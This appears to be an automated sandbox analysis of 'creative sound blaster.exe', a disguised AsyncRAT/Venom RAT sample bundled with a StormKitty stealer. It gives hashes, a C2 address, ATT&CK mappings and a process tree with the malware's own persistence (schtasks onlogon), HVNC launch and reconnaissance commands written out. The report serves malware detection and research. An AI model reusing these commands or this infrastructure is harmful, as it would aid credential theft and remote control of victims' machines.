Overview

overview

10

Static

static

10

creative s...er.exe

windows7-x64

10

creative s...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    509s
  • max time network
    512s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 21:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    creative sound blaster.exe

  • Size

    272KB

  • MD5

    ec3968fd0cf6b025017dbb83249de6f2

  • SHA1

    e1805d0f7984f46819320f2121fc67948c0cdfa5

  • SHA256

    3537198ebe7eb84bea0eaf47c3955d02b7d6b0d94cef1415d25c1558191a19bd

  • SHA512

    f73da223c70fe28f0f0515d17c56e3c8f2ced64894489749a9ad02822995e72429b6ab50963d84676a3de1f76d48bc5952cbb98f044376929332964fb228c509

  • SSDEEP

    3072:pUTcxgTEiPMVTb3SH1bnrgYQgy9ckYMmlB/v6A80XH3e55EVu9cBY:pCEiPMVTbiVb0YS5YM6VyA80XHbUe

Score
10/10
asyncratstormkittydllhost.datcollectiondiscoveryevasionpersistenceprivilege_escalationratspywarestealer

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

dllhost.dat

C2

147.185.221.21:5552

147.185.221.21:6643
Mutex

evyjfpsdxkkqc

Attributes
  • delay

    1

  • install

    true

  • install_file

    dllhost.dat.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Async RAT payload 1 IoCs
    rat
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies registry class 34 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\creative sound blaster.exe
    "C:\Users\Admin\AppData\Local\Temp\creative sound blaster.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dllhost.dat" /tr '"C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "dllhost.dat" /tr '"C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE177.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1560
      • C:\Users\Admin\AppData\Roaming\dllhost.dat.exe
        "C:\Users\Admin\AppData\Roaming\dllhost.dat.exe"
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • Suspicious use of SetThreadContext
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:1516
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          4⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:236
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.21 4448 HVNC_MUTEX
          4⤵
            PID:4512
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.21 4448 HVNC_MUTEX
            4⤵
              PID:1384
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.21 4448 HVNC_MUTEX
              4⤵
                PID:3140
              • C:\Windows\explorer.exe
                "C:\Windows\explorer.exe"
                4⤵
                • Modifies registry class
                PID:5924
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.21 4448 HVNC_MUTEX
                4⤵
                  PID:5932
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5344
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo
                    5⤵
                    • Gathers system information
                    PID:5484
                  • C:\Windows\system32\HOSTNAME.EXE
                    hostname
                    5⤵
                      PID:5644
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic logicaldisk get caption,description,providername
                      5⤵
                      • Collects information from the system
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5660
                    • C:\Windows\system32\net.exe
                      net user
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5692
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user
                        6⤵
                          PID:5708
                      • C:\Windows\system32\query.exe
                        query user
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5728
                        • C:\Windows\system32\quser.exe
                          "C:\Windows\system32\quser.exe"
                          6⤵
                            PID:5752
                        • C:\Windows\system32\net.exe
                          net localgroup
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5768
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup
                            6⤵
                              PID:5784
                          • C:\Windows\system32\net.exe
                            net localgroup administrators
                            5⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5808
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 localgroup administrators
                              6⤵
                                PID:5856
                            • C:\Windows\system32\net.exe
                              net user guest
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5836
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user guest
                                6⤵
                                  PID:5888
                              • C:\Windows\system32\net.exe
                                net user administrator
                                5⤵
                                  PID:5896
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user administrator
                                    6⤵
                                      PID:4344
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic startup get caption,command
                                    5⤵
                                      PID:2268
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist /svc
                                      5⤵
                                      • Enumerates processes with tasklist
                                      PID:6028
                                    • C:\Windows\system32\ipconfig.exe
                                      ipconfig /all
                                      5⤵
                                      • Gathers network information
                                      PID:6044
                                    • C:\Windows\system32\ROUTE.EXE
                                      route print
                                      5⤵
                                        PID:3372
                                      • C:\Windows\system32\ARP.EXE
                                        arp -a
                                        5⤵
                                          PID:5348
                                        • C:\Windows\system32\NETSTAT.EXE
                                          netstat -ano
                                          5⤵
                                          • Gathers network information
                                          PID:5460
                                        • C:\Windows\system32\sc.exe
                                          sc query type= service state= all
                                          5⤵
                                          • Launches sc.exe
                                          PID:384
                                        • C:\Windows\system32\netsh.exe
                                          netsh firewall show state
                                          5⤵
                                          • Modifies Windows Firewall
                                          • Event Triggered Execution: Netsh Helper DLL
                                          PID:184
                                        • C:\Windows\system32\netsh.exe
                                          netsh firewall show config
                                          5⤵
                                          • Modifies Windows Firewall
                                          • Event Triggered Execution: Netsh Helper DLL
                                          PID:2704
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                        4⤵
                                          PID:2020
                                          • C:\Windows\system32\chcp.com
                                            chcp 65001
                                            5⤵
                                              PID:4924
                                            • C:\Windows\system32\netsh.exe
                                              netsh wlan show profile
                                              5⤵
                                              • Event Triggered Execution: Netsh Helper DLL
                                              PID:1436
                                            • C:\Windows\system32\findstr.exe
                                              findstr All
                                              5⤵
                                                PID:5376
                                            • C:\Windows\SYSTEM32\cmd.exe
                                              "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                              4⤵
                                                PID:3324
                                                • C:\Windows\system32\chcp.com
                                                  chcp 65001
                                                  5⤵
                                                    PID:4752
                                                  • C:\Windows\system32\netsh.exe
                                                    netsh wlan show networks mode=bssid
                                                    5⤵
                                                    • Event Triggered Execution: Netsh Helper DLL
                                                    PID:1764
                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                            1⤵
                                            • Modifies registry class
                                            • Suspicious use of SetWindowsHookEx
                                            PID:4428
                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                            1⤵
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious use of SetWindowsHookEx
                                            PID:4296
                                          • C:\Program Files\VideoLAN\VLC\vlc.exe
                                            "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UpdateLimit.wav"
                                            1⤵
                                            • Suspicious behavior: AddClipboardFormatListener
                                            • Suspicious behavior: GetForegroundWindowSpam
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5168

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Reconnaissance

                                          Resource Development

                                          Initial Access

                                          Execution

                                          Command and Scripting Interpreter

                                          1
                                          T1059

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Scheduled Task

                                          1
                                          T1053.005

                                          Persistence

                                          Account Manipulation

                                          1
                                          T1098

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Active Setup

                                          1
                                          T1547.014

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Event Triggered Execution

                                          1
                                          T1546

                                          Netsh Helper DLL

                                          1
                                          T1546.007

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Scheduled Task

                                          1
                                          T1053.005

                                          Privilege Escalation

                                          Account Manipulation

                                          1
                                          T1098

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Active Setup

                                          1
                                          T1547.014

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Event Triggered Execution

                                          1
                                          T1546

                                          Netsh Helper DLL

                                          1
                                          T1546.007

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Scheduled Task

                                          1
                                          T1053.005

                                          Defense Evasion

                                          Impair Defenses

                                          1
                                          T1562

                                          Disable or Modify System Firewall

                                          1
                                          T1562.004

                                          Modify Registry

                                          2
                                          T1112

                                          Credential Access

                                          Unsecured Credentials

                                          1
                                          T1552

                                          Credentials In Files

                                          1
                                          T1552.001

                                          Discovery

                                          Peripheral Device Discovery

                                          2
                                          T1120

                                          Process Discovery

                                          1
                                          T1057

                                          Query Registry

                                          6
                                          T1012

                                          System Information Discovery

                                          7
                                          T1082

                                          Lateral Movement

                                          Collection

                                          Data from Local System

                                          2
                                          T1005

                                          Email Collection

                                          1
                                          T1114

                                          Command and Control

                                          Web Service

                                          1
                                          T1102

                                          Exfiltration

                                          Impact

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\Local\5a830edb6ef7b67764bc1d965aae352a\Admin@XZBQXJLF_en-US\System\Process.txt
                                            Filesize

                                            3KB

                                            MD5

                                            a0631b863521e25d54b15ea7abfe0912

                                            SHA1

                                            c944589954f684ff7641cf80c149ab4cdae5bde8

                                            SHA256

                                            002dd4f8c60f0accf67fc895162e2a8989adb6c686a00ad3522dde6928b4f39a

                                            SHA512

                                            e6f58170331987a8bd35e3cb2fee59d702cff616369d80849291a44ca1e43e5d489410d8082ec71053c1b8010675ad9fa8d58aa0c74a87a38858b41428968993

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\5a830edb6ef7b67764bc1d965aae352a\Admin@XZBQXJLF_en-US\System\Process.txt
                                            Filesize

                                            4KB

                                            MD5

                                            c2623d7663fa0ab6f6e10752dc2f05d7

                                            SHA1

                                            8b3032ee83ca406eacc49655783dcf353300bc8a

                                            SHA256

                                            afa2b8ccb07d7b49ffecf5022ed552163dd9895b36b9fe0571161fba06f24905

                                            SHA512

                                            c6e13fc899f185c2af48b090ff7f3fa866423a10c88daf17032463cdb95686094cd1841a18c92ff2481ef8215f2421e0d5c1fb8dc8249acabc1e90ae37969c80

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\5a830edb6ef7b67764bc1d965aae352a\msgid.dat
                                            Filesize

                                            1B

                                            MD5

                                            cfcd208495d565ef66e7dff9f98764da

                                            SHA1

                                            b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                                            SHA256

                                            5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                                            SHA512

                                            31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133651191864822896.txt
                                            Filesize

                                            75KB

                                            MD5

                                            12246a8d1b510d5c3b650bf96ffb87e6

                                            SHA1

                                            22ad8e0084ed414d8bafb736ea1704d9719f679b

                                            SHA256

                                            25b050732f56639ac53f5f17f21d8a26bfdaa94ad9d65a89e7d0de2a1743ce23

                                            SHA512

                                            b03f1ecdedb6f1b67f4add1925e69fffbbbccb594e9b3ef9bcf62bb1d2c3729b820b9c711dbbe7cd8b661d04539c4ffaa0e911fe428e82eb5ab3cf89519b5b3c

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\Temp\tmp4168.tmp.dat
                                            Filesize

                                            114KB

                                            MD5

                                            90a154a5a49cfdedd79b04b752a1eeb6

                                            SHA1

                                            ca2a9ac4b15e745c203d811c3275779d9cd7d957

                                            SHA256

                                            2d2968f191b8ae8a35c217497004c579d896bfee1b8dd48e48f54ddb2109f418

                                            SHA512

                                            11f8f95d16223da10783e72898bed150439d431ee59bfa16e7a81b0965c00d525081cf2d19a5e8e7062e7ab9375b44909002dafc69578463a1e86cbb27fab52b

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\Temp\tmp417B.tmp.dat
                                            Filesize

                                            160KB

                                            MD5

                                            f310cf1ff562ae14449e0167a3e1fe46

                                            SHA1

                                            85c58afa9049467031c6c2b17f5c12ca73bb2788

                                            SHA256

                                            e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

                                            SHA512

                                            1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

                                            Download Submit

                                          • C:\Users\Admin\AppData\Local\Temp\tmpE177.tmp.bat
                                            Filesize

                                            155B

                                            MD5

                                            f301266ba4250187af1d702d3c9bcc95

                                            SHA1

                                            53834388c331c555e5df13852685562a3f608737

                                            SHA256

                                            9bbcb65cf3275b741068af26b178f4b31e78eb3b84dc8f54ae837020822aee0d

                                            SHA512

                                            506e80b3ef88b4da4413fd2033de290b8585c6601497522e12120c517116187bb9028fb76fb5b5ff6e34bf1e3b950be3d7dd539e186813115c0a79261dfcfc80

                                            Download Submit

                                          • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf
                                            Filesize

                                            8B

                                            MD5

                                            cf759e4c5f14fe3eec41b87ed756cea8

                                            SHA1

                                            c27c796bb3c2fac929359563676f4ba1ffada1f5

                                            SHA256

                                            c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

                                            SHA512

                                            c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

                                            Download Submit

                                          • C:\Users\Admin\AppData\Roaming\dllhost.dat.exe
                                            Filesize

                                            272KB

                                            MD5

                                            ec3968fd0cf6b025017dbb83249de6f2

                                            SHA1

                                            e1805d0f7984f46819320f2121fc67948c0cdfa5

                                            SHA256

                                            3537198ebe7eb84bea0eaf47c3955d02b7d6b0d94cef1415d25c1558191a19bd

                                            SHA512

                                            f73da223c70fe28f0f0515d17c56e3c8f2ced64894489749a9ad02822995e72429b6ab50963d84676a3de1f76d48bc5952cbb98f044376929332964fb228c509

                                            Download Submit

                                          • \??\PIPE\wkssvc
                                            MD5

                                            d41d8cd98f00b204e9800998ecf8427e

                                            SHA1

                                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                                            SHA256

                                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                            SHA512

                                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                            Download Submit

                                          • memory/236-22-0x0000000003840000-0x0000000003841000-memory.dmp

                                            Filesize

                                            4KB

                                            Download

                                          • memory/1516-826-0x000000001BFB0000-0x000000001C02A000-memory.dmp

                                            Filesize

                                            488KB

                                            Download

                                          • memory/1516-694-0x000000001D4E0000-0x000000001D614000-memory.dmp

                                            Filesize

                                            1.2MB

                                            Download

                                          • memory/1516-14-0x000000001CCD0000-0x000000001CD46000-memory.dmp

                                            Filesize

                                            472KB

                                            Download

                                          • memory/1516-15-0x000000001CC50000-0x000000001CC70000-memory.dmp

                                            Filesize

                                            128KB

                                            Download

                                          • memory/1516-584-0x00000000015D0000-0x00000000015F2000-memory.dmp

                                            Filesize

                                            136KB

                                            Download

                                          • memory/1516-606-0x0000000001540000-0x000000000154C000-memory.dmp

                                            Filesize

                                            48KB

                                            Download

                                          • memory/1516-545-0x000000001D1C0000-0x000000001D2E2000-memory.dmp

                                            Filesize

                                            1.1MB

                                            Download

                                          • memory/1516-695-0x0000000001590000-0x000000000159A000-memory.dmp

                                            Filesize

                                            40KB

                                            Download

                                          • memory/1516-869-0x000000001C0F0000-0x000000001C174000-memory.dmp

                                            Filesize

                                            528KB

                                            Download

                                          • memory/1516-204-0x0000000003050000-0x000000000305C000-memory.dmp

                                            Filesize

                                            48KB

                                            Download

                                          • memory/1516-207-0x00000000030A0000-0x00000000030B0000-memory.dmp

                                            Filesize

                                            64KB

                                            Download

                                          • memory/1516-16-0x000000001CC90000-0x000000001CCAE000-memory.dmp

                                            Filesize

                                            120KB

                                            Download

                                          • memory/3140-17-0x0000000000400000-0x0000000000410000-memory.dmp

                                            Filesize

                                            64KB

                                            Download

                                          • memory/3140-19-0x0000000004FF0000-0x000000000508C000-memory.dmp

                                            Filesize

                                            624KB

                                            Download

                                          • memory/3140-18-0x0000000004ED0000-0x0000000004F62000-memory.dmp

                                            Filesize

                                            584KB

                                            Download

                                          • memory/3140-20-0x0000000005880000-0x0000000005E24000-memory.dmp

                                            Filesize

                                            5.6MB

                                            Download

                                          • memory/4296-58-0x00000136C1FE0000-0x00000136C2000000-memory.dmp

                                            Filesize

                                            128KB

                                            Download

                                          • memory/4296-57-0x00000136C1BD0000-0x00000136C1BF0000-memory.dmp

                                            Filesize

                                            128KB

                                            Download

                                          • memory/4296-28-0x00000136C1C10000-0x00000136C1C30000-memory.dmp

                                            Filesize

                                            128KB

                                            Download

                                          • memory/4296-23-0x00000136C0B00000-0x00000136C0C00000-memory.dmp

                                            Filesize

                                            1024KB

                                            Download

                                          • memory/4868-1-0x0000000000A60000-0x0000000000AAA000-memory.dmp

                                            Filesize

                                            296KB

                                            Download

                                          • memory/4868-3-0x00007FFB773C0000-0x00007FFB77E81000-memory.dmp

                                            Filesize

                                            10.8MB

                                            Download

                                          • memory/4868-8-0x00007FFB773C0000-0x00007FFB77E81000-memory.dmp

                                            Filesize

                                            10.8MB

                                            Download

                                          • memory/4868-0-0x00007FFB773C3000-0x00007FFB773C5000-memory.dmp

                                            Filesize

                                            8KB

                                            Download

                                          • memory/5168-214-0x00007FFB86520000-0x00007FFB86537000-memory.dmp

                                            Filesize

                                            92KB

                                            Download

                                          • memory/5168-227-0x0000028CE8B60000-0x0000028CE8C73000-memory.dmp

                                            Filesize

                                            1.1MB

                                            Download

                                          • memory/5168-224-0x00007FFB81AA0000-0x00007FFB81AB1000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-223-0x00007FFB81AC0000-0x00007FFB81AD1000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-222-0x00007FFB846F0000-0x00007FFB84708000-memory.dmp

                                            Filesize

                                            96KB

                                            Download

                                          • memory/5168-221-0x00007FFB81AE0000-0x00007FFB81B01000-memory.dmp

                                            Filesize

                                            132KB

                                            Download

                                          • memory/5168-220-0x00007FFB81B10000-0x00007FFB81B51000-memory.dmp

                                            Filesize

                                            260KB

                                            Download

                                          • memory/5168-219-0x00007FFB6C3F0000-0x00007FFB6D4A0000-memory.dmp

                                            Filesize

                                            16.7MB

                                            Download

                                          • memory/5168-228-0x0000028CE8C80000-0x0000028CE8D20000-memory.dmp

                                            Filesize

                                            640KB

                                            Download

                                          • memory/5168-225-0x00007FFB81A80000-0x00007FFB81A91000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-226-0x00007FFB72C30000-0x00007FFB72D3E000-memory.dmp

                                            Filesize

                                            1.1MB

                                            Download

                                          • memory/5168-211-0x00007FFB87D00000-0x00007FFB87D18000-memory.dmp

                                            Filesize

                                            96KB

                                            Download

                                          • memory/5168-212-0x00007FFB87140000-0x00007FFB87157000-memory.dmp

                                            Filesize

                                            92KB

                                            Download

                                          • memory/5168-210-0x00007FFB79770000-0x00007FFB79A26000-memory.dmp

                                            Filesize

                                            2.7MB

                                            Download

                                          • memory/5168-218-0x00007FFB79370000-0x00007FFB7957B000-memory.dmp

                                            Filesize

                                            2.0MB

                                            Download

                                          • memory/5168-215-0x00007FFB86440000-0x00007FFB86451000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-216-0x00007FFB86220000-0x00007FFB8623D000-memory.dmp

                                            Filesize

                                            116KB

                                            Download

                                          • memory/5168-217-0x00007FFB84710000-0x00007FFB84721000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-213-0x00007FFB86A90000-0x00007FFB86AA1000-memory.dmp

                                            Filesize

                                            68KB

                                            Download

                                          • memory/5168-208-0x00007FF7C2E90000-0x00007FF7C2F88000-memory.dmp

                                            Filesize

                                            992KB

                                            Download

                                          • memory/5168-209-0x00007FFB872E0000-0x00007FFB87314000-memory.dmp

                                            Filesize

                                            208KB

                                            Download